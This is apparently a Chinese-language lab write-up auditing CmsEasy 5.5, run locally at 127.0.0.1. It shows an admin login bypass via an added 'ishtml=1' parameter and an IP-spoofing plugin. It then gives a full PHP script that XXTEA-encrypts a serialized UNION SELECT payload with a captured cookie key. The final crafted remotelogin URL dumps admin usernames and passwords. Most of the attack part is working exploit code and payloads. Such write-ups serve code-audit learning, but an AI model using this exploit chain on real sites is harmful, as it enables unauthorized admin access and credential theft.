1.环境配置
网站:
数据库:
2.绕过密码直接登录
对原代码审计,在admin.php可以注意的点是
只要符合这个点,就不会去验证是不是管理员
所以
我将浏览器的网站路径复杂到Firefox界面如下,并根据代码加上&ishtml=1,看能不能直接不输入密码直接登录
回车就直接进入了网站里面了,绕过了登录界面
不过在之前需要在火狐下载一个插件
这个插件是可以修改你服务端的IP
这是第一个漏洞,未授权账号密码,因为代码写的有问题,导致我可以通过代码审计获取到非法进入后台的方式
3.sql注入
进入后台后,我拿到了Cookie安全码:5782c2394927208d8d536b9ed05b1a51
继续代码审计
在远程登录代码里
这段代码意思:拿到cookie码,将获得的grgs通过base64解码,xxtea_decrypt函数来解密,全部解密后,将参数进行反序列化(unserialize是反序列化函数),反序列化完后,放在getrow,这里getrow函数表示获取数据库一行
根据这个代码,我们考虑注入的一个条件,先是要拿到cookie,找到加密函数xxtea_encrypt
<?php
function xxtea_encrypt($str, $key) {
if ($str == "") {
return "";
}
$v = str2long($str, true);
$k = str2long($key, false);
if (count($k) < 4) {
for ($i = count($k); $i < 4; $i++) {
$k[$i] = 0;
}
}
$n = count($v) - 1;
$z = $v[$n];
$y = $v[0];
$delta = 0x9E3779B9;
$q = floor(6 + 52 / ($n + 1));
$sum = 0;
while (0 < $q--) {
$sum = int32($sum + $delta);
$e = $sum >> 2 & 3;
for ($p = 0; $p < $n; $p++) {
$y = $v[$p + 1];
$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
$z = $v[$p] = int32($v[$p] + $mx);
}
$y = $v[0];
$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
$z = $v[$n] = int32($v[$n] + $mx);
}
return long2str($v, false);
}
function str2long($s, $w) {
$v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3));
$v = array_values($v);
if ($w) {
$v[count($v)] = strlen($s);
}
return $v;
}
function long2str($v, $w) {
$len = count($v);
$n = ($len - 1) << 2;
if ($w) {
$m = $v[$len - 1];
if (($m < $n - 3) || ($m > $n)) return false;
$n = $m;
}
$s = array();
for ($i = 0; $i < $len; $i++) {
$s[$i] = pack("V", $v[$i]);
}
if ($w) {
return substr(join('', $s), 0, $n);
}
else {
return join('', $s);
}
}
function int32($n) {
while ($n >= 2147483648) $n -= 4294967296;
while ($n <= -2147483649) $n += 4294967296;
return (int)$n;
}
将加密函数和相关函数复制到php文件里
cmseasy_user表里有20个字段
sql注入代码
<?php
$key = '5782c2394927208d8d536b9ed05b1a51'; // 获得的cookie密钥
// 注入语句作为数组的一个元素
$table = array(
'sql' => 'userid`=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM cmseasy_user LIMIT 0,1#' //由于是开源代码,可以知道数据库的源码和架构
);
// 序列化数组,然后加密,其实就是跟源码执行方式相反
$encrypted = base64_encode(xxtea_encrypt(serialize($table), $key));
echo $encrypted;
function long2str($v, $w) {
$len = count($v);
$n = ($len - 1) << 2;
if ($w) {
$m = $v[$len - 1];
if (($m < $n - 3) || ($m > $n)) return false;
$n = $m;
}
$s = array();
for ($i = 0; $i < $len; $i++) {
$s[$i] = pack("V", $v[$i]);
}
if ($w) {
return substr(join('', $s), 0, $n);
}
else {
return join('', $s);
}
}
function str2long($s, $w) {
$v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3));
$v = array_values($v);
if ($w) {
$v[count($v)] = strlen($s);
}
return $v;
}
function int32($n) {
while ($n >= 2147483648) $n -= 4294967296;
while ($n <= -2147483649) $n += 4294967296;
return (int)$n;
}
function xxtea_encrypt($str, $key) {
if ($str == "") {
return "";
}
$v = str2long($str, true);
$k = str2long($key, false);
if (count($k) < 4) {
for ($i = count($k); $i < 4; $i++) {
$k[$i] = 0;
}
}
$n = count($v) - 1;
$z = $v[$n];
$y = $v[0];
$delta = 0x9E3779B9;
$q = floor(6 + 52 / ($n + 1));
$sum = 0;
while (0 < $q--) {
$sum = int32($sum + $delta);
$e = $sum >> 2 & 3;
for ($p = 0; $p < $n; $p++) {
$y = $v[$p + 1];
$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
$z = $v[$p] = int32($v[$p] + $mx);
}
$y = $v[0];
$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
$z = $v[$n] = int32($v[$n] + $mx);
}
return long2str($v, false);
}
执行:
注意:在里面”/",“+必须要urlcode编码,不编码就会对应地方截断
改:/>-----%2f +---->%2b
任何访问后端?
访问方式:http://127.0.0.1/CmsEasy_5.5_UTF-8_20140605/uploads/index.php?case=admin&act=remotelogin&admin_dir=admin&site=default&args=xUKKUusexld8%2fO2638yd42xG%2b5Vx2Eumj9azpzanmLlGno4T4yiJvEmMB6aYW0FNRw4ZB8mFNr26fWwovnLsEzR9SsIP2MI4hGus8WrJE4hkSPs42xHYej%2bstJH0soK%2f59iAyNud6IarQbGxnJBNa6oiHPKC8p0kzfU8b1s6bPUa1kX2vOeZRtqyrqTaban%2fwHE1ZLhYLzCsSvcHlNgCCnJBIL0=
这个要根据自己的地址写
这里已经可以拿到网站的密码和账号了